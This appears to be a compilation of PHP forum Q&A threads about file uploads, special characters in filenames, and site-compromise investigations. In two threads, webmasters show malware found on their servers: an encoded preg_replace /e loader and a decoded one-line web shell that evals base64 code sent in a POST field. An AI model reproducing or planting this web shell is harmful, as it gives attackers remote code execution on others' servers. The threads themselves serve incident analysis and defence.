I am building a site, where users can upload their mp3s and I ran into a little problem that I can't solve:
The upload works fine, but only when the user selects an mp3-file which has no spaces in their mp3-filename. A file like 'My nice mp3 file.mp3' will result in a NULL of $_FILES['file']. Has this to do with Server-configurations?
Anyone has an idea how to solve that? Other than telling the user just to upload mp3files without spaces in their names, that is :-)
Thanx,
Maenny
As the other users have said, it's probably not the spaces causing the problem. My first thought would be to check that your upload_limit for PHP is set high enough. Remember also that no matter what the user has called their file, you should NEVER store it with that filename on the server - there's too much risk of a potential security hole by doing that.
To diagnose this problem though, I'd suggest creating an MP3 file that you know is OK, make 2 copies - name one with spaces, and one without. And then see whether the one with spaces fails. If that is the case, then at least you know that you've definitely found the source of your problem - if not, then you've eliminated one possible cause of it, and you can look elsewhere.
The filename of the remote (client) file should not affect how it is transported to the server. Are you sure that spaces are the problem?
Try to urlencode() your file name.
If that doesn't work, try rawurlencode().
If that doesn't work, I am off mark :)
Spaces should not cause this issue. I have an MP3 uploader on my website and have no trouble with spaces. I have tested with "Test Name.mp3" and it worked fine.
http://www.the-mag.me.uk/Music/Articles/Item/Add-Your-Music/
To help you diagnose any potential problem, try dumping out the contents of the $_FILES array and check to see if anything in there gives you a clue.
print_r($_FILES);
Related
I found a file systems.php on my webserver that neither I - as user - placed there, nor my webserver provider has placed in there. I viewed the file, it only contains one preg_replace() statement with an extremly long $replacement part, which seems to be somehow encoded.
preg_replace("/.*/e","\x28\x65\...\x29\x29\x3B",".");
If I interpret this statement correctly, it would mean that basically everything shall be replaced be the $replacement part (which might be encrypted/encoded virus injection stuff).
I have uploaded the whole code as pastebin here. Someone has an idea in what way the code is encrypted/how it can be decrypted in order to assess the grade of compromisation of my server?
Update
This might be the attack vector:
So after some digging, we found that this script was planted using a vulnerability in the Uploadify jQuery library. The library's existence was discovered by the attacker through google. source
Unhexxing the shellcode shows it's executing eval(gzinflate(base64_decode(huge string));
I changed this eval to an echo and the full output is on pastebin here:
http://pastebin.com/t1iZ5LQ8
I haven't looked much further into this but it certainly seems dodgy. Just thought I'd do some of the legwork for anyone interested in looking at it further
EDIT
Little bit more detailed look, it appears to allow an attacker to upload files to your server, and take a dump of any databases on the box
It's look like a Shellcode, which can be disastrous for your server, shellcode executed by the CPU can give access to a shell or shuch of things.
For more informations about shellcodes here's a good article :
http://www.vividmachines.com/shellcode/shellcode.html
This upload may hide a possible exploit on your server which grant access to upload or write data into, try to check your logs to identify the problem.
I am working on a wordpress site that I believe has some serious security issues, and I found a large 'cache' directory on the site with gibberish architecture. Below I am pasting the contents of one .php file, and I am hoping someone can tell me what this does. I see that it is interacting with the wordpress database, and the IP address being checked appears to belong to Microsoft, but beyond that I'm clueless. For what it's worth, the path/to/file is something like: /cache/db/000000/bb7/f95/dfa/bb7f95dfab264023ffcd917f9187bed2.php
�S<?php exit; ?>a:6:{s:10:"last_error";s:0:"";s:10:"last_query";s:57:"SELECT id FROM wp_IPBLC_blacklist WHERE IP='157.55.35.33'";s:11:"last_result";a:0:{}s:8:"col_info";a:1:{i:0;O:8:"stdClass":13:{s:4:"name";s:2:"id";s:5:"table";s:18:"wp_IPBLC_blacklist";s:3:"def";s:0:"";s:10:"max_length";i:0;s:8:"not_null";i:1;s:11:"primary_key";i:1;s:12:"multiple_key";i:0;s:10:"unique_key";i:0;s:7:"numeric";i:1;s:4:"blob";i:0;s:4:"type";s:3:"int";s:8:"unsigned";i:1;s:8:"zerofill";i:0;}}s:8:"num_rows";i:0;s:10:"return_val";i:0;}
Well, exit kills it before it really does anything...
But that string is a serialized array.
you can copy+paste it into unserialize to see it more clearly. (and by changing the single quotes to double quotes in that one spot)
here:
http://3v4l.org/VQ6RJ
I'm currently having a problem uploading files to the server that have an apostrophe in the file name. For example O'Connell.doc The form works perfectly when there is no apostrophe in the filename. I get a 500 Internal server error when an apostrophe is used. It gets to form.php?p=apply Seems like the form is submitted and then immediately fails. Any ideas where to look?
Thanks!
Just jumping in here, I ran into a similar issue, it turned out that my hosting / server had "mod_security" activated, which was blocking the file by default. I'm looking into a solution that will rewrite the file name before processing, it seems like either that or mod_security would need to be disabled.
It sounds like your form is vulnerable to a Code Injection attack. The apostrophe is being interpreted when the file is being processed and then you are getting some sort of error from that failure.
All user input needs to be sanitized to all interpreters that it will go through. The ideal is that user input is never interpreted, only stored or called. So rather than calling a shell on the input, use exec or something on the exact executable and arguments you want.
I am honestly not sure where the issue lays but here is my problem:
I have a single file: card.gif. When I check firebug or Google pagespeed, I learn the file is called twice during the page fetch once as normal file name and a second time with a random number (that does not change). Example:
card.gif
card.gif?1316720450953
I have scoured my actual source code, the image is only called once. It is not called in a CSS file. To be honest I have no idea what is the issue, some thought that when I originally installed mod_pagespeed that it appended ID's to each image in cache for any future overwrites but I can't be certain.
Has anybody ever had this issue before?
In the end - Dagon's comments above led me to believe that things like Firebug and Pagespeed may not always be correct. I do show two images being loaded in the timelines for both plugins but it is very difficult for me to decifer otherwise. If another answer is provided contradicting this, I am more than happy to test that theory.
Ok so here's what I've googled:
It seems there is an uploaded file named "image.php" that is uploaded in a qcubed directory.
That image.php file contains the following base64 code:
aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2VjaG8gJzMxMzkzNjJlMzIzMzMxMmQzMTM3MzIyZTMyMzgzYTY5NjY2MTYzNjU3MjZkNzA3NTYyNmQ2OTYzNjUzYTYxNjY2MTYzMzQzMjY1NzI2OTMwMzInOw==
decoded it adds to this:
if(isset($_POST['e']))
eval(base64_decode($_POST['e']));
echo '3139362e3233312d3137322e32383a6966616365726d7075626d6963653a6166616334326572693032';
Searching for the outputed string I found simillar qcubed vulnerabilities on other sites.
Decoding the last echoed string I got:
196.231-172.28:ifacermpubmice:afac42eri02
Which I really don`t understand what it does (using:http://ostermiller.org/calc/encode.html).
Can you please explain me what in particular I`m facing here?
What security vulnerability I should adress in order to fix this?
The script will execute any PHP code it gets from the e POST variable, which of course is a horrible, most dangerous vulnerability.
The echo statement might be a confirmation for the attacking script that the correct version is installed or something.
However, this is only dangerous if the image.php file can actually be executed in that directory. It's hard to give advice on what to do without knowing how the file got there in the first place.
Most likely a script kiddie used an exploit to break into your site. Make sure your PHP application and libraries are up to date.